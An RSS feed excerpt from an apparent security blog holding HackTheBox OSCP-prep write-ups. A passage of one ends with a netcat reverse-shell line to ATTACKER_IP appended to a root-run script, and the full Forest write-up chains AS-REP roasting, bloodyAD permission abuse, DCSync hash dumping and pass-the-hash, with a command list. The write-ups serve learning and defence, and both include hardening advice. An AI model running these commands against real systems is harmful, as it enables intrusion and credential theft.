<li><p>firewall rules</p>
</li>
<li><p>VPN access</p>
</li>
<li><p>internal network segmentation</p>
</li>
</ul>
<p>Limiting access to administrative services significantly reduces the attack surface available to external attackers.</p>
<hr />
<h3>3. Secure Mail Infrastructure</h3>
<p>Mail servers frequently contain sensitive internal communications, including credentials, operational instructions, and system details. Organizations should ensure that:</p>
<ul>
<li><p>mailbox access is strictly controlled</p>
</li>
<li><p>passwords cannot be arbitrarily reset by unauthorized users</p>
</li>
<li><p>administrative mail services are properly secured</p>
</li>
</ul>
<p>Additionally, sensitive credentials should never be transmitted in plaintext emails.</p>
<hr />
<h3>4. Enforce Proper File Permissions</h3>
<p>Scripts owned by privileged users must <strong>never be writable by unprivileged accounts</strong>. In this case, the Python script responsible for system cleanup was configured with world-writable permissions (<code>777</code>), allowing any user to modify its contents.</p>
<p>Secure permission configurations such as:</p>
<pre><code class="language-plaintext">700
750
755
</code></pre>
<p>should be applied to scripts executed by root to prevent unauthorized modification.</p>
<hr />
<h3>5. Secure Scheduled Tasks and Automation Scripts</h3>
<p>Automated maintenance scripts, particularly those executed by cron jobs or privileged services, should be carefully audited to ensure they cannot be manipulated by unprivileged users.</p>
<p>Best practices include:</p>
<ul>
<li><p>storing scripts in restricted directories</p>
</li>
<li><p>limiting write permissions to administrators only</p>
</li>
<li><p>regularly auditing scheduled tasks</p>
</li>
</ul>
<p>Automated processes executed with elevated privileges should always be treated as high-risk components within a system.</p>
<hr />
<h3>6. Continuous Security Auditing</h3>
<p>Regular security audits and configuration reviews can help identify dangerous misconfigurations before they are exploited. Automated tools such as configuration scanners and vulnerability management platforms can assist administrators in detecting issues such as:</p>
<ul>
<li><p>exposed administrative services</p>
</li>
<li><p>weak credentials</p>
</li>
<li><p>improper file permissions</p>
</li>
<li><p>insecure automation scripts</p>
</li>
</ul>
<p>Proactive monitoring and auditing significantly reduce the likelihood of privilege escalation vulnerabilities being exploited.</p>
<h2>Useful Commands</h2>
<p>Throughout this engagement, several commands were used to enumerate services, interact with the mail server, and ultimately achieve privilege escalation.</p>
<hr />
<h3>Interacting with the Apache James Admin Console</h3>
<p>Connect to the administrative interface exposed on port 4555.</p>
<pre><code class="language-plaintext">nc 10.129.6.171 4555
</code></pre>
<p>Enumerate available users.</p>
<pre><code class="language-plaintext">listusers
</code></pre>
<p>Reset user passwords.</p>
<pre><code class="language-plaintext">setpassword username password
</code></pre>
<hr />
<h3>POP3 Mailbox Interaction</h3>
<p>Connect to the POP3 service.</p>
<pre><code class="language-plaintext">telnet 10.129.6.171 110
</code></pre>
<p>Authenticate and retrieve stored emails.</p>
<pre><code class="language-plaintext">USER username
PASS password
LIST
RETR 1
</code></pre>
<hr />
<h3>SSH Restricted shell escape</h3>
<p>Escape the restricted shell by forcing bash during connection.</p>
<pre><code class="language-plaintext">ssh mindy@10.129.6.171 -t bash
</code></pre>
<hr />
<h3>Netcat Reverse shell</h3>
<p>Append a reverse shell payload to the writable root-owned script.</p>
<pre><code class="language-plaintext">echo 'os.system("nc ATTACKER_IP 9001 -e /bin/bash")' &gt;&gt; /opt/tmp.py
</code></pre>
]]></content:encoded></item><item><title><![CDATA[OSCP Prep #6 HTB Write-Up
Forest]]></title><description><![CDATA[1. Target Overview

Machine Name: Forest

Platform: HackTheBox

Operating System: Windows

Environment Type: Active Directory


Overview
Forest is a Windows Active Directory domain environment hosted ]]></description><link>https://www.hack2harden.com/oscp-prep-6-htb-write-up-forest</link><guid isPermaLink="true">https://www.hack2harden.com/oscp-prep-6-htb-write-up-forest</guid><dc:creator><![CDATA[Deonte Spencer]]></dc:creator><pubDate>Sat, 14 Mar 2026 10:50:31 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/ab8b7325-f8bf-4fe3-8d70-43cf62402f63.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1>1. Target Overview</h1>
<ul>
<li><p><strong>Machine Name:</strong> Forest</p>
</li>
<li><p><strong>Platform:</strong> HackTheBox</p>
</li>
<li><p><strong>Operating System:</strong> Windows</p>
</li>
<li><p><strong>Environment Type:</strong> Active Directory</p>
</li>
</ul>
<h3>Overview</h3>
<p>Forest is a Windows <strong>Active Directory domain environment</strong> hosted on HackTheBox. The objective of this engagement was to enumerate the exposed domain services, identify weaknesses in the Active Directory configuration, and leverage those weaknesses to escalate privileges until full control of the domain was achieved.</p>
<p>Because domain controllers manage authentication and permissions across the network, misconfigurations in services such as <strong>LDAP, Kerberos, SMB, and RPC</strong> can often expose valuable attack paths that allow an attacker to move from basic enumeration to full domain compromise.</p>
<h2>Tools Used</h2>
<ul>
<li><p><strong>Rustscan</strong> — Fast port scanner used to quickly identify open ports and services on the target system before deeper enumeration.</p>
</li>
<li><p><strong>Nmap</strong> — Network scanning tool used for service detection and script-based enumeration of the target’s services and domain information.</p>
</li>
<li><p><strong>NetExec (nxc)</strong> — Post-exploitation and enumeration framework used to test SMB authentication and check for anonymous access to shares.</p>
</li>
<li><p><strong>rpcclient</strong> — Tool used to interact with Windows RPC services, allowing anonymous enumeration of domain users.</p>
</li>
<li><p><strong>Impacket (GetNPUsers)</strong> — Script used to perform <strong>AS-REP roasting</strong> and retrieve Kerberos authentication hashes for accounts with preauthentication disabled.</p>
</li>
<li><p><strong>John the Ripper</strong> — Password cracking tool used to recover plaintext credentials from the captured AS-REP hash.</p>
</li>
<li><p><strong>Evil-WinRM</strong> — Tool used to obtain a remote PowerShell session on the target system using valid domain credentials.</p>
</li>
<li><p><strong>SharpHound</strong> — BloodHound data collector executed on the compromised host to gather Active Directory relationship data.</p>
</li>
<li><p><strong>BloodHound</strong> — Graph-based Active Directory analysis tool used to visualize privilege relationships and identify escalation paths.</p>
</li>
<li><p><strong>bloodyAD</strong> — Tool used to manipulate Active Directory objects and permissions, enabling the abuse of <strong>GenericAll</strong> and <strong>WriteDACL</strong> privileges.</p>
</li>
<li><p><strong>Impacket (secretsdump)</strong> — Tool used to perform a <strong>DCSync attack</strong> and extract domain password hashes directly from the domain controller.</p>
</li>
<li><p><strong>Impacket (psexec)</strong> — Tool used to perform a <strong>Pass-the-Hash attack</strong> to obtain a SYSTEM shell using the recovered Administrator NTLM hash.</p>
</li>
</ul>
<h1>2. Enumeration</h1>
<h3>Port Scanning</h3>
<p>As always, I began the engagement with a port scan to identify exposed services on the target machine.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/88399856-957c-4241-a3c4-b154e9e7b2d8.png" alt="" style="display:block;margin:0 auto" />

<p>The scan revealed several open ports associated with a <strong>Windows Active Directory environment</strong>.</p>
<p>Key services discovered included:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/d1f2faf4-32ff-4624-a2b3-49fd6dbb5f7f.png" alt="" style="display:block;margin:0 auto" />

<p>The presence of these services strongly indicated that the target machine was functioning as an <strong>Active Directory Domain Controller</strong>.</p>
<h3>Domain Information Discovery</h3>
<p>The Nmap service detection scripts also revealed useful domain information:</p>
<pre><code class="language-plaintext">Domain name: htb.local
FQDN: FOREST.htb.local
Computer name: FOREST
OS: Windows Server 2016 Standard
</code></pre>
<p>This information is extremely valuable during Active Directory engagements because the <strong>Fully Qualified Domain Name (FQDN)</strong> is required for several domain-based attacks and enumeration techniques.</p>
<h3>Active Directory Checklist — Step 1</h3>
<p>Following my standard <strong>Active Directory attack checklist</strong>, the first step after discovering the domain name is to add the domain controller’s FQDN to the local hosts file.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/3db6b821-8a25-4245-9915-b7cc41c46ec0.png" alt="" style="display:block;margin:0 auto" />

<p>I then added the following entry:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/83ec0830-4ff6-42a1-a7de-c5ab96caea68.png" alt="" style="display:block;margin:0 auto" />

<p>This ensures that domain-related tools such as <strong>Kerberos, LDAP queries, and BloodHound collection</strong> can correctly resolve the domain controller.</p>
<h3>Active Directory Checklist — Step 2</h3>
<p>The next step in my Active Directory enumeration methodology is to check <strong>SMB for anonymous access</strong>, which can sometimes expose shared directories containing credentials, configuration files, or other sensitive data.</p>
<p>To test this, I used <strong>NetExec</strong> to attempt anonymous SMB authentication and enumerate available shares.</p>
<p>The output confirmed that the server is running Windows Server 2016 in the htb.local domain. However, the attempt to enumerate shares using anonymous authentication failed.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/5f8f6d5d-a522-4ccc-adeb-77e351643b66.png" alt="" style="display:block;margin:0 auto" />

<p>This indicates that <strong>anonymous SMB access is disabled</strong>, preventing unauthenticated users from listing available shares on the system.</p>
<p>Since SMB enumeration did not yield useful results without credentials, I moved on to the next step in the Active Directory enumeration process</p>
<h3>Active Directory Checklist — Step 3</h3>
<p>Since anonymous SMB share enumeration was disabled, the next step was to attempt <strong>user enumeration through RPC</strong>. In many Active Directory environments, it is still possible to query domain information anonymously using the <strong>RPC service</strong>.</p>
<p>To test this, I connected to the target using <code>rpcclient</code> with a <strong>null session</strong>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/c1d8e076-f332-4893-a604-7d912a285e9b.png" alt="" style="display:block;margin:0 auto" />

<p>Once connected, I used the following command to enumerate domain users:</p>
<pre><code class="language-plaintext">enumdomusers
</code></pre>
<p>This successfully returned a list of domain accounts along with their associated <strong>Relative Identifiers (RIDs)</strong>.</p>
<p>The ability to enumerate users anonymously is extremely valuable during an Active Directory assessment because it provides a <strong>valid username list</strong> that can later be used for techniques such as:</p>
<ul>
<li><p><strong>Password spraying</strong></p>
</li>
<li><p><strong>AS-REP roasting</strong></p>
</li>
<li><p><strong>Kerberos attacks</strong></p>
</li>
<li><p><strong>Credential brute forcing</strong></p>
</li>
</ul>
<p>At this stage, I had successfully gathered a list of valid domain users and could proceed with further enumeration and credential attack techniques.</p>
<h3>Active Directory Checklist — Step 4: AS-REP Roasting</h3>
<p>After identifying valid domain users, the next step in my Active Directory enumeration methodology is to attempt <strong>AS-REP roasting</strong>.</p>
<p>This technique targets accounts configured with the Kerberos setting <strong>“Do not require Kerberos preauthentication.”</strong></p>
<p>Under normal circumstances, when a user requests a <strong>Ticket Granting Ticket (TGT)</strong> from the domain controller, Kerberos requires the user to prove knowledge of their password first through <strong>preauthentication</strong>. However, if this security control is disabled for an account, the domain controller will return an <strong>AS-REP response encrypted with the user’s password hash</strong> without requiring authentication.</p>
<p>Because of this behavior, an attacker can request authentication data for these accounts <strong>without knowing the password</strong>, capture the encrypted response, and then <strong>crack it offline</strong> to recover the plaintext password.</p>
<p>This makes AS-REP roasting extremely useful in situations like this one where <strong>valid usernames have been discovered but no credentials have yet been obtained</strong>.</p>
<hr />
<h3>Creating a User List</h3>
<p>Using the users discovered during RPC enumeration, I created a user list for testing.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/bbd990ed-2194-4941-9894-5fe1b16c31ab.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h3>Attempting AS-REP Roasting</h3>
<p>To test these accounts, I used <strong>Impacket’s</strong> <code>GetNPUsers</code> <strong>script</strong>, which checks whether any of the supplied users have Kerberos preauthentication disabled.</p>
<p>Most accounts returned the message: "user doesn't have UF_DONT_REQUIRE_PREAUTH set"</p>
<p>However, the account <strong>svc-alfresco</strong> was vulnerable and returned a <strong>Kerberos AS-REP hash</strong>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/c40e8b4b-045f-4e72-898a-d2647fe1fd02.png" alt="" style="display:block;margin:0 auto" />

<p>This is a critical discovery because the returned hash can now be <strong>cracked offline</strong> using tools such as <strong>Hashcat or John the Ripper</strong> in order to recover the account’s plaintext password.</p>
<h1>3. Exploitation</h1>
<h3>Cracking the AS-REP Hash</h3>
<p>After successfully retrieving the <strong>AS-REP hash for the</strong> <code>svc-alfresco</code> <strong>account</strong>, the next step was to attempt cracking the hash offline in order to recover the account’s password.</p>
<p>Offline cracking is advantageous because it allows repeated password attempts <strong>without interacting with the domain controller</strong>, avoiding account lockouts and detection.</p>
<p>I saved the hash to a file named <code>hash.txt</code> and used <strong>John the Ripper</strong> with the well-known <code>rockyou.txt</code> wordlist.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/6d6df9de-6b10-4561-a933-9f9f9e0148aa.png" alt="" style="display:block;margin:0 auto" />

<p>John quickly succeeded in cracking the hash and recovered the plaintext password for the <code>svc-alfresco</code> account.</p>
<pre><code class="language-plaintext">s3rvice
</code></pre>
<p>This gave me my <strong>first set of valid domain credentials</strong>, which could now be used to authenticate to domain services and continue the attack chain.</p>
<p>Compromising a service account like this is often extremely valuable in Active Directory environments because service accounts frequently have <strong>elevated permissions or delegated privileges</strong> that can be leveraged for further escalation within the domain.</p>
<h3>Initial Access via WinRM</h3>
<p>After recovering the password for the <code>svc-alfresco</code> account, the next step in my Active Directory attack methodology is to begin <strong>post-credential domain enumeration</strong>. At this stage, the priority is to run <strong>BloodHound</strong> in order to map relationships, permissions, and potential privilege escalation paths within the domain.</p>
<p>BloodHound requires a <strong>collector</strong> to gather data from the domain environment. The two common options are:</p>
<ul>
<li><p><strong>SharpHound</strong> — the official BloodHound collector written in C#</p>
</li>
<li><p><strong>RustHound</strong> — a Rust-based alternative that can be run externally</p>
</li>
</ul>
<p>The preferred approach is to run <strong>SharpHound internally</strong> because it collects more complete and accurate domain data. However, this requires obtaining a <strong>shell on a domain-joined system</strong>.</p>
<p>Because of this, the next step was to check whether the compromised user had access to <strong>WinRM</strong>, which would allow remote command execution on the target.</p>
<p>I attempted authentication using <strong>Evil-WinRM</strong> with the credentials recovered from the AS-REP roasting attack.</p>
<p>The login was successful and returned a remote PowerShell session.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/cde18445-ede3-4551-9aa8-d52a28074b1a.png" alt="" style="display:block;margin:0 auto" />

<p>This confirmed that the credentials were valid and that the <strong>svc-alfresco account had WinRM access</strong>, providing an interactive shell on the target system.</p>
<h3>BloodHound Data Collection (SharpHound)</h3>
<p>Now that I had obtained a <strong>WinRM shell on the target</strong>, I could proceed with running <strong>SharpHound</strong>, the BloodHound data collector. Running SharpHound internally from a compromised domain machine allows for more complete and accurate collection of Active Directory relationship data.</p>
<p>Using the Evil-WinRM session, I first uploaded the SharpHound binary to the target system.</p>
<p>The file was successfully transferred to the user’s Documents directory:</p>
<p>With the collector uploaded, I executed SharpHound using the <code>-c all</code> flag to gather all available BloodHound collection methods.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/67b7608d-0e15-4bce-bc9e-2ca6d7f80e0d.png" alt="" style="display:block;margin:0 auto" />

<p>SharpHound began collecting Active Directory information including:</p>
<ul>
<li><p>Users</p>
</li>
<li><p>Groups</p>
</li>
<li><p>Local administrator relationships</p>
</li>
<li><p>Sessions</p>
</li>
<li><p>Logged-on users</p>
</li>
<li><p>ACLs</p>
</li>
<li><p>Trust relationships</p>
</li>
<li><p>GPO permissions</p>
</li>
<li><p>SPNs and delegation paths</p>
</li>
</ul>
<p>After the enumeration process completed, SharpHound generated a <strong>ZIP archive containing the collected data</strong>.</p>
<h3>Importing Data into BloodHound</h3>
<p>After SharpHound finished collecting domain information, it generated a <strong>ZIP archive containing the enumeration results</strong>. This archive contains multiple JSON files that describe relationships between users, groups, computers, permissions, and other objects in the Active Directory environment.</p>
<p>I downloaded the generated ZIP file from the compromised host to my Kali machine using the Evil-WinRM session.</p>
<p>With the data retrieved, I launched <strong>BloodHound</strong> on my Kali system and imported the SharpHound results.</p>
<h1>4. Privilege Escalation</h1>
<h3>Identifying a Privilege Escalation Path with BloodHound</h3>
<p>After importing the SharpHound data into BloodHound, I began analyzing the privileges associated with the compromised account <strong>svc-alfresco</strong>. To do this, I searched for the user node in BloodHound and ran a query to <strong>find the shortest path to Domain Admins</strong>.</p>
<p>BloodHound revealed a privilege escalation chain requiring <strong>two steps</strong> to reach the <strong>Administrator</strong> account, which is a member of the <strong>Domain Admins</strong> group.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/a8d6998e-7ab3-4b72-b41f-cffb186212fc.png" alt="" style="display:block;margin:0 auto" />

<h3>Step 1: Join Exchange Windows Permissions</h3>
<p>The first part of the attack path involved the following group membership chain:</p>
<pre><code class="language-plaintext">svc-alfresco
   ↓
Service Accounts
   ↓
Privileged IT Accounts
   ↓
Account Operators
</code></pre>
<p>Because of this nested membership, the <strong>svc-alfresco account effectively inherits the privileges of the Account Operators group</strong>.</p>
<p>BloodHound revealed that <strong>Account Operators has</strong> <code>GenericAll</code> <strong>privileges over the group</strong> <code>Exchange Windows Permissions</code>.</p>
<p>If we inspect this relationship in BloodHound and open the <strong>Abuse Info</strong> panel, it explains the permission:</p>
<blockquote>
<p>Members of ACCOUNT <a href="mailto:OPERATORS@HTB.LOCAL">OPERATORS@HTB.LOCAL</a> have GenericAll permissions to the group EXCHANGE WINDOWS <a href="mailto:PERMISSIONS@HTB.LOCAL">PERMISSIONS@HTB.LOCAL</a>.</p>
</blockquote>
<p>The <strong>GenericAll</strong> permission represents <strong>full control</strong> over the target object. This means a user with this privilege can fully manipulate the object, including:</p>
<ul>
<li><p>Adding or removing members</p>
</li>
<li><p>Modifying attributes</p>
</li>
<li><p>Changing permissions</p>
</li>
</ul>
<p>Because of this, a member of <strong>Account Operators</strong> can add themselves to the <strong>Exchange Windows Permissions</strong> group.</p>
<hr />
<h3>Step 2: Abusing WriteDACL on the Domain</h3>
<p>The second part of the escalation path relies on the privileges associated with the <strong>Exchange Windows Permissions</strong> group.</p>
<p>Members of this group have <strong>WriteDACL permissions on the domain object</strong>.</p>
<p>To understand why this is powerful, it’s important to understand what <strong>WriteDACL</strong> means.</p>
<p>A <strong>DACL (Discretionary Access Control List)</strong> is the list of permissions that controls <strong>who can access or modify an Active Directory object</strong>.</p>
<p>The <strong>WriteDACL permission allows a user to modify that permissions list itself</strong>.</p>
<p>In practice, this means a user with WriteDACL can:</p>
<ul>
<li><p>Grant themselves new permissions on the domain</p>
</li>
<li><p>Assign <strong>DCSync rights</strong></p>
</li>
<li><p>Modify security descriptors</p>
</li>
<li><p>Delegate full administrative access</p>
</li>
</ul>
<p>Because of this, gaining membership in <strong>Exchange Windows Permissions</strong> allows an attacker to <strong>modify the domain’s permissions</strong> and grant themselves privileges that ultimately lead to <strong>Domain Admin level control</strong>.</p>
<h3>Abusing Exchange Windows Permissions</h3>
<p>After identifying the privilege escalation path in BloodHound, the first step was to abuse the <strong>GenericAll permission</strong> that the <strong>Account Operators</strong> group had over the <strong>Exchange Windows Permissions</strong> group.</p>
<p>Since the compromised account <code>svc-alfresco</code> effectively inherited the privileges of <strong>Account Operators</strong>, it could manipulate the membership of the <strong>Exchange Windows Permissions</strong> group.</p>
<p>To do this, I used the <strong>bloodyAD</strong> tool to add the compromised account to the group.</p>
<pre><code class="language-plaintext">bloodyAD -d htb.local -H 10.129.6.141 -u svc-alfresco -p 's3rvice' add groupmember "EXCHANGE WINDOWS PERMISSIONS" "svc-alfresco"
</code></pre>
<p>The command successfully added the user to the group.</p>
<pre><code class="language-plaintext">svc-alfresco added to EXCHANGE WINDOWS PERMISSIONS
</code></pre>
<hr />
<h3>Granting DCSync Privileges</h3>
<p>As discovered earlier in BloodHound, members of the <strong>Exchange Windows Permissions</strong> group have <strong>WriteDACL permissions on the domain object</strong>.</p>
<p>This allows members of the group to modify the domain’s access control list and grant themselves powerful permissions. One of the most dangerous permissions that can be assigned in this way is <strong>DCSync</strong>.</p>
<p>DCSync allows a user to simulate the behavior of a <strong>Domain Controller replication request</strong>. In practice, this means the attacker can request password hashes directly from the domain controller, including hashes for highly privileged accounts such as <strong>Domain Administrators</strong>.</p>
<p>Using <strong>bloodyAD</strong>, I granted the compromised account DCSync privileges on the domain.</p>
<pre><code class="language-plaintext">bloodyAD -d htb.local -H 10.129.6.141 -u svc-alfresco -p 's3rvice' add dcsync svc-alfresco
</code></pre>
<p>The command successfully granted replication privileges.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/6b9a22d6-df05-4c9d-b9ec-73fefcfb6691.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h3>Dumping Domain Password Hashes</h3>
<p>With DCSync privileges obtained, I used <strong>Impacket’s</strong> <code>secretsdump</code> <strong>tool</strong> to replicate credential data from the domain controller.</p>
<p>This command successfully dumped the <strong>NTLM password hashes for domain accounts</strong>, including the hash for the <strong>Administrator</strong> account.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/1bd59b11-94af-4183-9dc2-a115c5868c06.png" alt="" style="display:block;margin:0 auto" />

<p>At this point, I had obtained the <strong>Administrator NTLM hash</strong>, which could be used for a <strong>Pass-the-Hash attack</strong>.</p>
<hr />
<h3>Pass-the-Hash with PsExec</h3>
<p>Using the recovered Administrator hash, I performed a <strong>Pass-the-Hash attack</strong> with Impacket’s <code>psexec</code> tool to obtain a SYSTEM shell on the domain controller.</p>
<p>The attack succeeded and returned a remote command shell.</p>
<p>This confirmed full compromise of the domain controller with <strong>SYSTEM-level privileges</strong>, completing the attack chain.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/5bb76cf1-144c-4c60-8a8a-9acac4425a55.png" alt="" style="display:block;margin:0 auto" />

<h1>5. Lessons Learned</h1>
<p>This machine highlighted several important Active Directory attack techniques and enumeration strategies that can be extremely useful during domain engagements.</p>
<h3>Anonymous RPC Enumeration is Still Possible</h3>
<p>Even when <strong>anonymous SMB share enumeration is disabled</strong>, it may still be possible to enumerate domain information anonymously through other services. In this case, although SMB access was denied, I was still able to query the domain using <strong>RPC via</strong> <code>rpcclient</code>.</p>
<p>This allowed me to enumerate valid domain users without authentication, which ultimately provided the <strong>username list required for further attacks</strong>.</p>
<p>This demonstrates that disabling anonymous SMB access alone does not fully prevent anonymous domain enumeration.</p>
<hr />
<h3>AS-REP Roasting Can Work Without Credentials</h3>
<p>Once valid usernames were discovered, I attempted <strong>AS-REP roasting</strong>, which targets accounts configured with <strong>Kerberos preauthentication disabled</strong>.</p>
<p>This attack is particularly powerful because it <strong>does not require a password</strong>. Instead, the domain controller returns an authentication response encrypted with the user’s password hash, which can then be cracked offline.</p>
<p>In this case, the <code>svc-alfresco</code> account was vulnerable, allowing me to recover valid domain credentials and gain an initial foothold.</p>
<p>Because of this, <strong>AS-REP roasting should always be attempted when valid usernames are available</strong>.</p>
<hr />
<h3>Always Test WinRM Access</h3>
<p>After obtaining credentials, I immediately checked whether the compromised account had WinRM access.</p>
<p>This is an important step because WinRM provides remote PowerShell access to the target system, which allows attackers to execute commands and run post-exploitation tools directly on the machine.</p>
<p>In this engagement, WinRM access allowed me to obtain a shell on the domain controller and run SharpHound, enabling deeper Active Directory enumeration.</p>
<hr />
<h3>GenericAll and WriteDACL Are Extremely Powerful Privileges</h3>
<p>Two of the most powerful permissions that can appear in Active Directory attack paths are <strong>GenericAll</strong> and <strong>WriteDACL</strong>.</p>
<ul>
<li><p><strong>GenericAll</strong> provides full control over an object.</p>
</li>
<li><p><strong>WriteDACL</strong> allows an attacker to modify the object's permissions.</p>
</li>
</ul>
<p>In this engagement, the Account Operators group had GenericAll over the Exchange Windows Permissions group, which allowed me to add the compromised account to that group.</p>
<p>Members of the Exchange Windows Permissions group had WriteDACL on the domain object, which made it possible to grant the compromised account DCSync privileges.</p>
<p>Once DCSync privileges were obtained, I was able to replicate password data from the domain controller and retrieve the Administrator NTLM hash, leading to full domain compromise.</p>
<p>Because of their impact, GenericAll and WriteDACL permissions should always be prioritized during BloodHound analysis, as they frequently lead directly to privilege escalation.</p>
<h1>6. Defensive Insights</h1>
<p>This attack chain highlights several security weaknesses that defenders should address to better protect Active Directory environments from similar privilege escalation attacks.</p>
<h3>Restrict Anonymous Domain Enumeration</h3>
<p>Although anonymous SMB share access was disabled on the target, it was still possible to enumerate domain users anonymously through <strong>RPC using</strong> <code>rpcclient</code>. This allowed an attacker to build a valid username list without authentication, which later enabled further attacks.</p>
<p>Organizations should ensure that <strong>anonymous RPC access is restricted</strong> and that domain controllers are configured to prevent unauthenticated users from querying domain information.</p>
<p>Monitoring for unusual anonymous enumeration attempts can also help detect attackers early in the reconnaissance phase.</p>
<hr />
<h3>Enforce Kerberos Preauthentication</h3>
<p>The initial foothold in this attack came from <strong>AS-REP roasting</strong>, which was possible because the <code>svc-alfresco</code> account had <strong>Kerberos preauthentication disabled</strong>.</p>
<p>Accounts configured this way allow attackers to request Kerberos authentication responses without providing a password. These responses can then be cracked offline to recover the user’s credentials.</p>
<p>To prevent this attack:</p>
<ul>
<li><p>Ensure <strong>Kerberos preauthentication is enabled for all accounts</strong></p>
</li>
<li><p>Audit domain users for the <strong>UF_DONT_REQUIRE_PREAUTH</strong> flag</p>
</li>
<li><p>Avoid using service accounts with insecure Kerberos configurations</p>
</li>
</ul>
<p>Regularly reviewing account settings can eliminate this vulnerability entirely.</p>
<hr />
<h3>Limit Service Account Privileges</h3>
<p>The compromised account in this environment was a <strong>service account</strong>, which often have elevated privileges or delegated permissions. In this case, nested group memberships ultimately allowed the account to inherit the privileges of <strong>Account Operators</strong>, which played a key role in the escalation path.</p>
<p>Service accounts should follow the <strong>principle of least privilege</strong>, meaning they should only have the permissions absolutely required for their intended function.</p>
<p>Reducing unnecessary group memberships can significantly limit the damage caused if a service account becomes compromised.</p>
<hr />
<h3>Audit Dangerous Active Directory Permissions</h3>
<p>The most critical weakness in this environment was the permission structure involving:</p>
<ul>
<li><p><strong>GenericAll over the Exchange Windows Permissions group</strong></p>
</li>
<li><p><strong>WriteDACL over the domain object</strong></p>
</li>
</ul>
<p>These permissions allowed an attacker to manipulate group memberships and ultimately grant themselves <strong>DCSync privileges</strong>, which led directly to full domain compromise.</p>
<p>Organizations should regularly audit their Active Directory environment for dangerous permissions such as:</p>
<ul>
<li><p><strong>GenericAll</strong></p>
</li>
<li><p><strong>WriteDACL</strong></p>
</li>
<li><p><strong>WriteOwner</strong></p>
</li>
<li><p><strong>GenericWrite</strong></p>
</li>
</ul>
<p>Tools such as <strong>BloodHound</strong> can be used defensively to identify and remediate these privilege escalation paths before attackers discover them.</p>
<hr />
<h3>Monitor and Restrict DCSync Capabilities</h3>
<p>Once an attacker obtains <strong>DCSync privileges</strong>, they can replicate password hashes directly from the domain controller, including those of highly privileged accounts such as Domain Administrators.</p>
<p>To mitigate this risk:</p>
<ul>
<li><p>Limit replication privileges to <strong>domain controllers only</strong></p>
</li>
<li><p>Monitor for unusual <strong>directory replication requests</strong></p>
</li>
<li><p>Implement alerting for tools commonly used to perform DCSync attacks</p>
</li>
</ul>
<p>Detecting abnormal replication activity can provide an opportunity to stop attackers before full domain compromise occurs.</p>
<h1>Useful Commands</h1>
<hr />
<h3>SMB Anonymous Enumeration</h3>
<p>Check whether anonymous SMB authentication is allowed and attempt to enumerate shares.</p>
<pre><code class="language-plaintext">nxc smb 10.129.95.210 -u '' -p '' --shares
</code></pre>
<hr />
<h3>RPC Anonymous Enumeration</h3>
<p>Connect to the RPC service anonymously and enumerate domain users.</p>
<pre><code class="language-plaintext">rpcclient -U "" -N 10.129.95.210
</code></pre>
<pre><code class="language-plaintext">enumdomusers
</code></pre>
<hr />
<h3>AS-REP Roasting</h3>
<p>Attempt to retrieve Kerberos AS-REP hashes for users with <strong>preauthentication disabled</strong>.</p>
<pre><code class="language-plaintext">impacket-GetNPUsers -request htb.local/ -no-pass -dc-ip 10.129.95.210 -usersfile user.txt
</code></pre>
<hr />
<h3>BloodHound Data Collection</h3>
<p>Run <strong>SharpHound</strong> internally to collect Active Directory data.</p>
<pre><code class="language-plaintext">.\SharpHound.exe -c all
</code></pre>
<hr />
<h3>Add User to Exchange Windows Permissions</h3>
<p>Abuse <strong>GenericAll</strong> privilege using bloodyAD to add a user to the Exchange Windows Permissions group.</p>
<pre><code class="language-plaintext">bloodyAD -d htb.local -H 10.129.6.141 -u svc-alfresco -p 's3rvice' add groupmember "EXCHANGE WINDOWS PERMISSIONS" "svc-alfresco"
</code></pre>
<hr />
<h3>Grant DCSync Privileges</h3>
<p>Grant the compromised account replication privileges over the domain.</p>
<pre><code class="language-plaintext">bloodyAD -d htb.local -H 10.129.6.141 -u svc-alfresco -p 's3rvice' add dcsync svc-alfresco
</code></pre>
<hr />
<h3>Dump Domain Hashes</h3>
<p>Use Impacket to replicate domain credentials via <strong>DCSync</strong>.</p>
<pre><code class="language-plaintext">impacket-secretsdump htb.local/svc-alfresco@10.129.6.141
</code></pre>
<hr />
<h3>Pass-the-Hash</h3>
<p>Use the Administrator NTLM hash to obtain a SYSTEM shell on the domain controller.</p>
<pre><code class="language-plaintext">impacket-psexec administrator@10.129.6.141 -hashes :32693b11e6aa90eb43d32c72a07ceeae
</code></pre>
]]></content:encoded></item><item><title><![CDATA[OSCP Prep #5 HTB Write-Up 
Netmon]]></title><description><![CDATA[1. Target Overview
Machine Name: Netmon
Platform: HackTheBox
Operating System: Windows
In this walkthrough, I document my attack path against the Netmon machine. The goal is to enumerate available ser]]></description><link>https://www.hack2harden.com/oscp-prep-5-htb-write-up-netmon</link><guid isPermaLink="true">https://www.hack2harden.com/oscp-prep-5-htb-write-up-netmon</guid><dc:creator><![CDATA[Deonte Spencer]]></dc:creator><pubDate>Fri, 13 Mar 2026 10:09:58 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/85124566-48e9-4a8a-b28f-d6efb10b387f.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>1. Target Overview</h2>
